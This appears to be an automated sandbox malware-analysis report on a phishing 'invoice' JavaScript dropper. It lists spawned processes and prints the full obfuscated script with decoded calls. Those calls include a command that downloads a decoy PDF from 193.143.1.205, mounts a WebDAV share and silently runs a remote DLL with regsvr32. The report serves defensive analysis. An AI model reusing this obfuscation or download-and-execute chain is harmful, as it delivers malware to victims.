Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:18:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	17:18:04
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cc4d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:18:04
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70d040000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:18:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	17:18:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:18:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1596,i,11122811908735448864,9282891485107306110,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function yzxikq() {	yzxikq() ➔ undefined
1	qfffqf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var soygqbkf = this[weuty + ldlvf + nhrvc + ydjfvzy + dddfxelg + pwugun + vfjfzsuid + wlnkhxz] ( this[vewjtsr + lfiev + cskfuxidt + nhrvc + npfkzinv + weuty + wlnkhxz][yyuhx + nhrvc + dddfxelg + ldlvf + wlnkhxz + dddfxelg + ajnurb + klisr + icgxdni + dddfxelg + cskfuxidt + wlnkhxz] ( vewjtsr + lfiev + cskfuxidt + nhrvc + npfkzinv + weuty + wlnkhxz + qujgrfxez + lfiev + lwfcrrnn + dddfxelg + pbjajfh + pbjajfh ) [cnimvv + dddfxelg + yxdfxl + cnimvv + dddfxelg + ldlvf + iptphq] ( ocufl + rmxspys + ptgip + pjgpjkdji + ofjiydf + yyuhx + zdprzvwrk + cnimvv + cnimvv + ptgip + mdhklfzc + unjrsgz + ofjiydf + zdprzvwrk + lfiev + ptgip + cnimvv + qottfseng + yyuhx + eaoagct + vfjfzsuid + wlnkhxz + nhrvc + eaoagct + pbjajfh + dtyacl + cptocn + ldlvf + vfjfzsuid + dddfxelg + pbjajfh + qottfseng + pwugun + vfjfzsuid + wlnkhxz + dddfxelg + nhrvc + vfjfzsuid + ldlvf + wlnkhxz + npfkzinv + eaoagct + vfjfzsuid + ldlvf + pbjajfh + qottfseng + dsogdawz + eaoagct + cskfuxidt + ldlvf + pbjajfh + dddfxelg ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ncwbn = 0 ; ncwbn < qfffqf[pbjajfh + dddfxelg + vfjfzsuid + yxdfxl + wlnkhxz + lwfcrrnn] ; ++ ncwbn )
4	{
5	if ( soygqbkf == qfffqf[ncwbn] )
6	{
7	soygqbkf = true;
8	break ;
9	}
10	}
11	if ( soygqbkf !== true )
12	this[vewjtsr + lfiev + cskfuxidt + nhrvc + npfkzinv + weuty + wlnkhxz][fywvr + sihbyzrgt + npfkzinv + wlnkhxz] ( );
13	this[vewjtsr + lfiev + cskfuxidt + nhrvc + npfkzinv + weuty + wlnkhxz][yyuhx + nhrvc + dddfxelg + ldlvf + wlnkhxz + dddfxelg + ajnurb + klisr + icgxdni + dddfxelg + cskfuxidt + wlnkhxz] ( vewjtsr + lfiev + cskfuxidt + nhrvc + npfkzinv + weuty + wlnkhxz + qujgrfxez + lfiev + lwfcrrnn + dddfxelg + pbjajfh + pbjajfh ) [nhrvc + sihbyzrgt + vfjfzsuid] ( cskfuxidt + zdykslv + iptphq + dtyacl + yzmdne + cskfuxidt + dtyacl + weuty + eaoagct + lbmmz + dddfxelg + nhrvc + ydjfvzy + lwfcrrnn + dddfxelg + pbjajfh + pbjajfh + qujgrfxez + dddfxelg + nkwzy + dddfxelg + dtyacl + cdruoqf + yyuhx + eaoagct + zdykslv + zdykslv + ldlvf + vfjfzsuid + iptphq + dtyacl + iyqhudum + pwugun + vfjfzsuid + teqhl + eaoagct + ublwsciq + dddfxelg + cdruoqf + vewjtsr + dddfxelg + klisr + cnimvv + dddfxelg + kctgyq + sihbyzrgt + dddfxelg + ydjfvzy + wlnkhxz + dtyacl + cdruoqf + ajnurb + sihbyzrgt + wlnkhxz + zdkvd + npfkzinv + pbjajfh + dddfxelg + dtyacl + tcdhyk + wlnkhxz + dddfxelg + zdykslv + weuty + tcdhyk + qottfseng + npfkzinv + vfjfzsuid + teqhl + eaoagct + npfkzinv + cskfuxidt + dddfxelg + qujgrfxez + weuty + iptphq + kryuonx + dtyacl + lwfcrrnn + wlnkhxz + wlnkhxz + weuty + covfvwmj + yzmdne + yzmdne + cfydsqn + qqqcrzmm + yitomvvi + qujgrfxez + cfydsqn + pacnsilta + yitomvvi + qujgrfxez + cfydsqn + qujgrfxez + ogcnbkmd + qnvqil + igvgwkqg + yzmdne + npfkzinv + vfjfzsuid + teqhl + eaoagct + npfkzinv + cskfuxidt + dddfxelg + qujgrfxez + weuty + lwfcrrnn + weuty + iyqhudum + ewyyo + ewyyo + ydjfvzy + wlnkhxz + ldlvf + nhrvc + wlnkhxz + dtyacl + tcdhyk + wlnkhxz + dddfxelg + zdykslv + weuty + tcdhyk + qottfseng + npfkzinv + vfjfzsuid + teqhl + eaoagct + npfkzinv + cskfuxidt + dddfxelg + qujgrfxez + weuty + iptphq + kryuonx + ewyyo + ewyyo + cskfuxidt + zdykslv + iptphq + dtyacl + yzmdne + cskfuxidt + dtyacl + vfjfzsuid + dddfxelg + wlnkhxz + dtyacl + sihbyzrgt + ydjfvzy + dddfxelg + dtyacl + qottfseng + qottfseng + cfydsqn + qqqcrzmm + yitomvvi + qujgrfxez + cfydsqn + pacnsilta + yitomvvi + qujgrfxez + cfydsqn + qujgrfxez + ogcnbkmd + qnvqil + igvgwkqg + oobdhvhs + jxfxhzf + jxfxhzf + jxfxhzf + jxfxhzf + qottfseng + iptphq + ldlvf + teqhl + lbmmz + lbmmz + lbmmz + nhrvc + eaoagct + eaoagct + wlnkhxz + qottfseng + ewyyo + ewyyo + cskfuxidt + zdykslv + iptphq + dtyacl + yzmdne + cskfuxidt + dtyacl + nhrvc + dddfxelg + yxdfxl + ydjfvzy + teqhl + nhrvc + yitomvvi + ogcnbkmd + dtyacl + yzmdne + ydjfvzy + dtyacl + qottfseng + qottfseng + cfydsqn + qqqcrzmm + yitomvvi + qujgrfxez + cfydsqn + pacnsilta + yitomvvi + qujgrfxez + cfydsqn + qujgrfxez + ogcnbkmd + qnvqil + igvgwkqg + oobdhvhs + jxfxhzf + jxfxhzf + jxfxhzf + jxfxhzf + qottfseng + iptphq + ldlvf + teqhl + lbmmz + lbmmz + lbmmz + nhrvc + eaoagct + eaoagct + wlnkhxz + qottfseng + ogcnbkmd + igvgwkqg + quwsfmq + cfydsqn + quwsfmq + yitomvvi + cfydsqn + jxfxhzf + yitomvvi + jxfxhzf + cfydsqn + ogcnbkmd + igvgwkqg + yitomvvi + igvgwkqg + qujgrfxez + iptphq + pbjajfh + pbjajfh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll",0,false) ➔ 0
14	}
15	dtyacl = "H";
16	dtyacl = "c";
17	dtyacl = "g";
18	dtyacl = "N";
19	dtyacl = "o";
20	dtyacl = "c";
21	dtyacl = "B";
22	dtyacl = "S";
23	dtyacl = "e";
24	dtyacl = "C";
25	dtyacl = "M";
26	dtyacl = "F";
27	dtyacl = "N";
28	dtyacl = "U";
29	dtyacl = "z";
30	dtyacl = "W";
31	dtyacl = "u";
32	dtyacl = "p";
33	dtyacl = "U";
34	dtyacl = "B";
35	dtyacl = "A";
36	dtyacl = " ";
37	ewyyo = "D";
38	ewyyo = "j";
39	ewyyo = "V";
40	ewyyo = "d";
41	ewyyo = "f";
42	ewyyo = "M";
43	ewyyo = "S";
44	ewyyo = "A";
45	ewyyo = "&";
46	yyuhx = "y";
47	yyuhx = "I";
48	yyuhx = "R";
49	yyuhx = "I";
50	yyuhx = "U";
51	yyuhx = "O";
52	yyuhx = "u";
53	yyuhx = "Y";
54	yyuhx = "d";
55	yyuhx = "F";
56	yyuhx = "k";
57	yyuhx = "N";
58	yyuhx = "Y";
59	yyuhx = "V";
60	yyuhx = "t";
61	yyuhx = "Y";
62	yyuhx = "l";
63	yyuhx = "G";
64	yyuhx = "M";
65	yyuhx = "b";
66	yyuhx = "P";
67	yyuhx = "N";
68	yyuhx = "A";
69	yyuhx = "D";
70	yyuhx = "U";
71	yyuhx = "g";
72	yyuhx = "M";
73	yyuhx = "w";
74	yyuhx = "X";
75	yyuhx = "C";
76	yyuhx = "B";
77	yyuhx = "R";
78	yyuhx = "Z";
79	yyuhx = "V";
80	yyuhx = "C";
81	ofjiydf = "j";
82	ofjiydf = "G";
83	ofjiydf = "_";
84	sihbyzrgt = "b";
85	sihbyzrgt = "b";
86	sihbyzrgt = "u";
87	sihbyzrgt = "W";
88	sihbyzrgt = "r";
89	sihbyzrgt = "H";
90	sihbyzrgt = "u";
91	teqhl = "S";
92	teqhl = "f";
93	teqhl = "d";
94	teqhl = "Y";
95	teqhl = "m";
96	teqhl = "y";
97	teqhl = "V";
98	teqhl = "b";
99	teqhl = "x";
100	teqhl = "x";
101	teqhl = "Q";
102	teqhl = "v";
103	teqhl = "I";
104	teqhl = "M";
105	teqhl = "m";
106	teqhl = "w";
107	teqhl = "D";
108	teqhl = "Y";
109	teqhl = "C";
110	teqhl = "H";
111	teqhl = "p";
112	teqhl = "S";
113	teqhl = "v";
114	teqhl = "n";
115	teqhl = "B";
116	teqhl = "g";
117	teqhl = "h";
118	teqhl = "T";
119	teqhl = "k";
120	teqhl = "K";
121	teqhl = "t";
122	teqhl = "c";
123	teqhl = "h";
124	teqhl = "t";
125	teqhl = "v";
126	qnvqil = "Z";
127	qnvqil = "a";
128	qnvqil = "y";
129	qnvqil = "U";
130	qnvqil = "J";
131	qnvqil = "D";
132	qnvqil = "a";
133	qnvqil = "U";
134	qnvqil = "X";
135	qnvqil = "b";
136	qnvqil = "P";
137	qnvqil = "f";
138	qnvqil = "E";
139	qnvqil = "y";
140	qnvqil = "o";
141	qnvqil = "g";
142	qnvqil = "o";
143	qnvqil = "g";
144	qnvqil = "0";
145	oobdhvhs = "s";
146	oobdhvhs = "V";
147	oobdhvhs = "y";
148	oobdhvhs = "w";
149	oobdhvhs = "J";
150	oobdhvhs = "@";
151	qottfseng = "O";
152	qottfseng = "v";
153	qottfseng = "Z";
154	qottfseng = "Q";
155	qottfseng = "Q";
156	qottfseng = "O";
157	qottfseng = "Q";
158	qottfseng = "S";
159	qottfseng = "E";
160	qottfseng = "m";
161	qottfseng = "o";
162	qottfseng = "V";
163	qottfseng = "W";
164	qottfseng = "j";
165	qottfseng = "b";
166	qottfseng = "l";
167	qottfseng = "g";
168	qottfseng = "z";
169	qottfseng = "x";
170	qottfseng = "o";
171	qottfseng = "c";
172	qottfseng = "D";
173	qottfseng = "W";
174	qottfseng = "C";
175	qottfseng = "C";
176	qottfseng = "j";
177	qottfseng = "k";
178	qottfseng = "h";
179	qottfseng = "z";
180	qottfseng = "Q";
181	qottfseng = "r";
182	qottfseng = "N";
183	qottfseng = "e";
184	qottfseng = "m";
185	qottfseng = "E";
186	qottfseng = "M";
187	qottfseng = "O";
188	qottfseng = "K";
189	qottfseng = "g";
190	qottfseng = "\\";
191	fywvr = "u";
192	fywvr = "w";
193	fywvr = "B";
194	fywvr = "i";
195	fywvr = "I";
196	fywvr = "s";
197	fywvr = "o";
198	fywvr = "s";
199	fywvr = "n";
200	fywvr = "I";
201	fywvr = "K";
202	fywvr = "V";
203	fywvr = "n";
204	fywvr = "z";
205	fywvr = "I";
206	fywvr = "W";
207	fywvr = "n";
208	fywvr = "N";
209	fywvr = "b";
210	fywvr = "X";
211	fywvr = "A";
212	fywvr = "I";
213	fywvr = "L";
214	fywvr = "j";
215	fywvr = "U";
216	fywvr = "j";
217	fywvr = "f";
218	fywvr = "O";
219	fywvr = "i";
220	fywvr = "B";
221	fywvr = "z";
222	fywvr = "o";
223	fywvr = "A";
224	fywvr = "e";
225	fywvr = "n";
226	fywvr = "Q";
227	qujgrfxez = "O";
228	qujgrfxez = "a";
229	qujgrfxez = "U";
230	qujgrfxez = "i";
231	qujgrfxez = "d";
232	qujgrfxez = "C";
233	qujgrfxez = "j";
234	qujgrfxez = "I";
235	qujgrfxez = "o";
236	qujgrfxez = "z";
237	qujgrfxez = "w";
238	qujgrfxez = "x";
239	qujgrfxez = "I";
240	qujgrfxez = "n";
241	qujgrfxez = "N";
242	qujgrfxez = "W";
243	qujgrfxez = "r";
244	qujgrfxez = "d";
245	qujgrfxez = "P";
246	qujgrfxez = "u";
247	qujgrfxez = "G";
248	qujgrfxez = "y";
249	qujgrfxez = "c";
250	qujgrfxez = ".";
251	ocufl = "F";
252	ocufl = "Q";
253	ocufl = "e";
254	ocufl = "R";
255	ocufl = "T";
256	ocufl = "H";
257	ocufl = "l";
258	ocufl = "l";
259	ocufl = "b";
260	ocufl = "w";
261	ocufl = "z";
262	ocufl = "f";
263	ocufl = "T";
264	ocufl = "l";
265	ocufl = "o";
266	ocufl = "T";
267	ocufl = "X";
268	ocufl = "d";
269	ocufl = "i";
270	ocufl = "D";
271	ocufl = "H";
272	ogcnbkmd = "q";
273	ogcnbkmd = "d";
274	ogcnbkmd = "j";
275	ogcnbkmd = "m";
276	ogcnbkmd = "D";
277	ogcnbkmd = "Y";
278	ogcnbkmd = "A";
279	ogcnbkmd = "b";
280	ogcnbkmd = "C";
281	ogcnbkmd = "C";
282	ogcnbkmd = "Q";
283	ogcnbkmd = "I";
284	ogcnbkmd = "y";
285	ogcnbkmd = "f";
286	ogcnbkmd = "T";
287	ogcnbkmd = "U";
288	ogcnbkmd = "S";
289	ogcnbkmd = "C";
290	ogcnbkmd = "w";
291	ogcnbkmd = "p";
292	ogcnbkmd = "2";
293	cptocn = "j";
294	cptocn = "Y";
295	cptocn = "P";
296	cptocn = "y";
297	cptocn = "W";
298	cptocn = "B";
299	cptocn = "B";
300	cptocn = "G";
301	cptocn = "d";
302	cptocn = "d";
303	cptocn = "u";
304	cptocn = "P";
305	cptocn = "y";
306	cptocn = "X";
307	cptocn = "R";
308	cptocn = "D";
309	cptocn = "I";
310	cptocn = "n";
311	cptocn = "n";
312	cptocn = "U";
313	cptocn = "u";
314	cptocn = "U";
315	cptocn = "R";
316	cptocn = "N";
317	cptocn = "M";
318	cptocn = "G";
319	cptocn = "X";
320	cptocn = "m";
321	cptocn = "L";
322	cptocn = "k";
323	cptocn = "T";
324	cptocn = "w";
325	cptocn = "P";
326	ydjfvzy = "x";
327	ydjfvzy = "o";
328	ydjfvzy = "S";
329	ydjfvzy = "I";
330	ydjfvzy = "Z";
331	ydjfvzy = "d";
332	ydjfvzy = "e";
333	ydjfvzy = "c";
334	ydjfvzy = "H";
335	ydjfvzy = "X";
336	ydjfvzy = "i";
337	ydjfvzy = "z";
338	ydjfvzy = "O";
339	ydjfvzy = "c";
340	ydjfvzy = "S";
341	ydjfvzy = "W";
342	ydjfvzy = "P";
343	ydjfvzy = "P";
344	ydjfvzy = "C";
345	ydjfvzy = "b";
346	ydjfvzy = "Q";
347	ydjfvzy = "Z";
348	ydjfvzy = "w";
349	ydjfvzy = "k";
350	ydjfvzy = "m";
351	ydjfvzy = "f";
352	ydjfvzy = "J";
353	ydjfvzy = "m";
354	ydjfvzy = "Y";
355	ydjfvzy = "V";
356	ydjfvzy = "n";
357	ydjfvzy = "j";
358	ydjfvzy = "n";
359	ydjfvzy = "H";
360	ydjfvzy = "D";
361	ydjfvzy = "L";
362	ydjfvzy = "b";
363	ydjfvzy = "Z";
364	ydjfvzy = "t";
365	ydjfvzy = "s";
366	zdkvd = "i";
367	zdkvd = "z";
368	zdkvd = "x";
369	zdkvd = "Q";
370	zdkvd = "X";
371	zdkvd = "o";
372	zdkvd = "z";
373	zdkvd = "O";
374	zdkvd = "u";
375	zdkvd = "L";
376	zdkvd = "Y";
377	zdkvd = "J";
378	zdkvd = "W";
379	zdkvd = "F";
380	klisr = "c";
381	klisr = "R";
382	klisr = "q";
383	klisr = "Q";
384	klisr = "K";
385	klisr = "H";
386	klisr = "X";
387	klisr = "E";
388	klisr = "n";
389	klisr = "N";
390	klisr = "b";
391	cfydsqn = "y";
392	cfydsqn = "T";
393	cfydsqn = "V";
394	cfydsqn = "C";
395	cfydsqn = "n";
396	cfydsqn = "W";
397	cfydsqn = "S";
398	cfydsqn = "F";
399	cfydsqn = "l";
400	cfydsqn = "V";
401	cfydsqn = "I";
402	cfydsqn = "e";
403	cfydsqn = "z";
404	cfydsqn = "S";
405	cfydsqn = "P";
406	cfydsqn = "h";
407	cfydsqn = "H";
408	cfydsqn = "M";
409	cfydsqn = "k";
410	cfydsqn = "c";
411	cfydsqn = "D";
412	cfydsqn = "V";
413	cfydsqn = "G";
414	cfydsqn = "E";
415	cfydsqn = "n";
416	cfydsqn = "T";
417	cfydsqn = "I";
418	cfydsqn = "d";
419	cfydsqn = "l";
420	cfydsqn = "E";
421	cfydsqn = "a";
422	cfydsqn = "o";
423	cfydsqn = "H";
424	cfydsqn = "h";
425	cfydsqn = "1";
426	lfiev = "X";
427	lfiev = "i";
428	lfiev = "Y";
429	lfiev = "S";
430	mdhklfzc = "k";
431	mdhklfzc = "a";
432	mdhklfzc = "U";
433	mdhklfzc = "t";
434	mdhklfzc = "o";
435	mdhklfzc = "H";
436	mdhklfzc = "V";
437	mdhklfzc = "k";
438	mdhklfzc = "f";
439	mdhklfzc = "E";
440	mdhklfzc = "E";
441	mdhklfzc = "v";
442	mdhklfzc = "F";
443	mdhklfzc = "u";
444	mdhklfzc = "U";
445	mdhklfzc = "W";
446	mdhklfzc = "o";
447	mdhklfzc = "V";
448	mdhklfzc = "k";
449	mdhklfzc = "L";
450	mdhklfzc = "J";
451	mdhklfzc = "C";
452	mdhklfzc = "W";
453	mdhklfzc = "Z";
454	mdhklfzc = "D";
455	mdhklfzc = "H";
456	mdhklfzc = "f";
457	mdhklfzc = "X";
458	mdhklfzc = "i";
459	mdhklfzc = "B";
460	mdhklfzc = "q";
461	mdhklfzc = "h";
462	mdhklfzc = "E";
463	mdhklfzc = "a";
464	mdhklfzc = "N";
465	ajnurb = "c";
466	ajnurb = "e";
467	ajnurb = "Y";
468	ajnurb = "t";
469	ajnurb = "U";
470	ajnurb = "H";
471	ajnurb = "v";
472	ajnurb = "v";
473	ajnurb = "U";
474	ajnurb = "u";
475	ajnurb = "U";
476	ajnurb = "e";
477	ajnurb = "U";
478	ajnurb = "U";
479	ajnurb = "u";
480	ajnurb = "c";
481	ajnurb = "X";
482	ajnurb = "f";
483	ajnurb = "x";
484	ajnurb = "D";
485	ajnurb = "n";
486	ajnurb = "o";
487	ajnurb = "J";
488	ajnurb = "s";
489	ajnurb = "Y";
490	ajnurb = "s";
491	ajnurb = "y";
492	ajnurb = "j";
493	ajnurb = "t";
494	ajnurb = "N";
495	ajnurb = "N";
496	ajnurb = "f";
497	ajnurb = "m";
498	ajnurb = "r";
499	ajnurb = "B";
500	ajnurb = "d";
501	ajnurb = "n";
502	ajnurb = "f";
503	ajnurb = "F";
504	ajnurb = "O";
505	cdruoqf = "F";
506	cdruoqf = "-";
507	npfkzinv = "Q";
508	npfkzinv = "Q";
509	npfkzinv = "z";
510	npfkzinv = "d";
511	npfkzinv = "k";
512	npfkzinv = "a";
513	npfkzinv = "a";
514	npfkzinv = "B";
515	npfkzinv = "T";
516	npfkzinv = "m";
517	npfkzinv = "t";
518	npfkzinv = "V";
519	npfkzinv = "c";
520	npfkzinv = "V";
521	npfkzinv = "G";
522	npfkzinv = "G";
523	npfkzinv = "t";
524	npfkzinv = "R";
525	npfkzinv = "r";
526	npfkzinv = "h";
527	npfkzinv = "W";
528	npfkzinv = "e";
529	npfkzinv = "M";
530	npfkzinv = "W";
531	npfkzinv = "C";
532	npfkzinv = "N";
533	npfkzinv = "B";
534	npfkzinv = "B";
535	npfkzinv = "u";
536	npfkzinv = "w";
537	npfkzinv = "v";
538	npfkzinv = "i";
539	yitomvvi = "3";
540	kctgyq = "C";
541	kctgyq = "X";
542	kctgyq = "r";
543	kctgyq = "g";
544	kctgyq = "f";
545	kctgyq = "a";
546	kctgyq = "a";
547	kctgyq = "e";
548	kctgyq = "H";
549	kctgyq = "i";
550	kctgyq = "x";
551	kctgyq = "Y";
552	kctgyq = "B";
553	kctgyq = "U";
554	kctgyq = "F";
555	kctgyq = "k";
556	kctgyq = "o";
557	kctgyq = "U";
558	kctgyq = "v";
559	kctgyq = "G";
560	kctgyq = "Y";
561	kctgyq = "M";
562	kctgyq = "q";
563	tcdhyk = "A";
564	tcdhyk = "i";
565	tcdhyk = "n";
566	tcdhyk = "C";
567	tcdhyk = "n";
568	tcdhyk = "t";
569	tcdhyk = "a";
570	tcdhyk = "v";
571	tcdhyk = "w";
572	tcdhyk = "r";
573	tcdhyk = "p";
574	tcdhyk = "e";
575	tcdhyk = "A";
576	tcdhyk = "O";
577	tcdhyk = "O";
578	tcdhyk = "t";
579	tcdhyk = "c";
580	tcdhyk = "J";
581	tcdhyk = "i";
582	tcdhyk = "K";
583	tcdhyk = "G";
584	tcdhyk = "c";
585	tcdhyk = "m";
586	tcdhyk = "z";
587	tcdhyk = "%";
588	nhrvc = "O";
589	nhrvc = "R";
590	nhrvc = "t";
591	nhrvc = "D";
592	nhrvc = "p";
593	nhrvc = "y";
594	nhrvc = "F";
595	nhrvc = "J";
596	nhrvc = "L";
597	nhrvc = "l";
598	nhrvc = "i";
599	nhrvc = "r";
600	wlnkhxz = "a";
601	wlnkhxz = "W";
602	wlnkhxz = "o";
603	wlnkhxz = "h";
604	wlnkhxz = "C";
605	wlnkhxz = "l";
606	wlnkhxz = "z";
607	wlnkhxz = "L";
608	wlnkhxz = "H";
609	wlnkhxz = "s";
610	wlnkhxz = "v";
611	wlnkhxz = "K";
612	wlnkhxz = "r";
613	wlnkhxz = "H";
614	wlnkhxz = "v";
615	wlnkhxz = "x";
616	wlnkhxz = "I";
617	wlnkhxz = "o";
618	wlnkhxz = "i";
619	wlnkhxz = "g";
620	wlnkhxz = "h";
621	wlnkhxz = "X";
622	wlnkhxz = "W";
623	wlnkhxz = "C";
624	wlnkhxz = "n";
625	wlnkhxz = "y";
626	wlnkhxz = "O";
627	wlnkhxz = "m";
628	wlnkhxz = "o";
629	wlnkhxz = "j";
630	wlnkhxz = "d";
631	wlnkhxz = "D";
632	wlnkhxz = "o";
633	wlnkhxz = "t";
634	wlnkhxz = "D";
635	wlnkhxz = "a";
636	wlnkhxz = "S";
637	wlnkhxz = "B";
638	wlnkhxz = "G";
639	wlnkhxz = "o";
640	wlnkhxz = "D";
641	wlnkhxz = "n";
642	wlnkhxz = "Z";
643	wlnkhxz = "t";
644	wlnkhxz = "t";
645	quwsfmq = "v";
646	quwsfmq = "U";
647	quwsfmq = "O";
648	quwsfmq = "D";
649	quwsfmq = "L";
650	quwsfmq = "F";
651	quwsfmq = "P";
652	quwsfmq = "r";
653	quwsfmq = "S";
654	quwsfmq = "G";
655	quwsfmq = "k";
656	quwsfmq = "v";
657	quwsfmq = "J";
658	quwsfmq = "m";
659	quwsfmq = "s";
660	quwsfmq = "f";
661	quwsfmq = "r";
662	quwsfmq = "6";
663	vfjfzsuid = "a";
664	vfjfzsuid = "E";
665	vfjfzsuid = "O";
666	vfjfzsuid = "s";
667	vfjfzsuid = "Q";
668	vfjfzsuid = "w";
669	vfjfzsuid = "E";
670	vfjfzsuid = "q";
671	vfjfzsuid = "z";
672	vfjfzsuid = "s";
673	vfjfzsuid = "n";
674	vfjfzsuid = "e";
675	vfjfzsuid = "y";
676	vfjfzsuid = "K";
677	vfjfzsuid = "a";
678	vfjfzsuid = "J";
679	vfjfzsuid = "V";
680	vfjfzsuid = "D";
681	vfjfzsuid = "b";
682	vfjfzsuid = "n";
683	ldlvf = "T";
684	ldlvf = "a";
685	covfvwmj = "Z";
686	covfvwmj = "A";
687	covfvwmj = "n";
688	covfvwmj = "R";
689	covfvwmj = ":";
690	igvgwkqg = "E";
691	igvgwkqg = "s";
692	igvgwkqg = "b";
693	igvgwkqg = "X";
694	igvgwkqg = "p";
695	igvgwkqg = "X";
696	igvgwkqg = "U";
697	igvgwkqg = "U";
698	igvgwkqg = "v";
699	igvgwkqg = "O";
700	igvgwkqg = "b";
701	igvgwkqg = "g";
702	igvgwkqg = "h";
703	igvgwkqg = "b";
704	igvgwkqg = "O";
705	igvgwkqg = "5";
706	lbmmz = "Q";
707	lbmmz = "i";
708	lbmmz = "e";
709	lbmmz = "t";
710	lbmmz = "a";
711	lbmmz = "m";
712	lbmmz = "Z";
713	lbmmz = "h";
714	lbmmz = "A";
715	lbmmz = "T";
716	lbmmz = "C";
717	lbmmz = "S";
718	lbmmz = "b";
719	lbmmz = "b";
720	lbmmz = "s";
721	lbmmz = "C";
722	lbmmz = "Q";
723	lbmmz = "A";
724	lbmmz = "S";
725	lbmmz = "t";
726	lbmmz = "i";
727	lbmmz = "R";
728	lbmmz = "w";
729	vewjtsr = "R";
730	vewjtsr = "N";
731	vewjtsr = "B";
732	vewjtsr = "H";
733	vewjtsr = "J";
734	vewjtsr = "f";
735	vewjtsr = "P";
736	vewjtsr = "J";
737	vewjtsr = "H";
738	vewjtsr = "K";
739	vewjtsr = "B";
740	vewjtsr = "W";
741	dsogdawz = "B";
742	dsogdawz = "K";
743	dsogdawz = "K";
744	dsogdawz = "m";
745	dsogdawz = "i";
746	dsogdawz = "g";
747	dsogdawz = "V";
748	dsogdawz = "w";
749	dsogdawz = "H";
750	dsogdawz = "P";
751	dsogdawz = "e";
752	dsogdawz = "C";
753	dsogdawz = "a";
754	dsogdawz = "a";
755	dsogdawz = "V";
756	dsogdawz = "G";
757	dsogdawz = "v";
758	dsogdawz = "O";
759	dsogdawz = "z";
760	dsogdawz = "T";
761	dsogdawz = "A";
762	dsogdawz = "p";
763	dsogdawz = "H";
764	dsogdawz = "g";
765	dsogdawz = "z";
766	dsogdawz = "D";
767	dsogdawz = "O";
768	dsogdawz = "x";
769	dsogdawz = "p";
770	dsogdawz = "Z";
771	dsogdawz = "I";
772	dsogdawz = "J";
773	dsogdawz = "e";
774	dsogdawz = "O";
775	dsogdawz = "Y";
776	dsogdawz = "C";
777	dsogdawz = "f";
778	dsogdawz = "B";
779	dsogdawz = "q";
780	dsogdawz = "p";
781	dsogdawz = "u";
782	dsogdawz = "k";
783	dsogdawz = "B";
784	dsogdawz = "D";
785	dsogdawz = "L";
786	pjgpjkdji = "j";
787	pjgpjkdji = "U";
788	pjgpjkdji = "n";
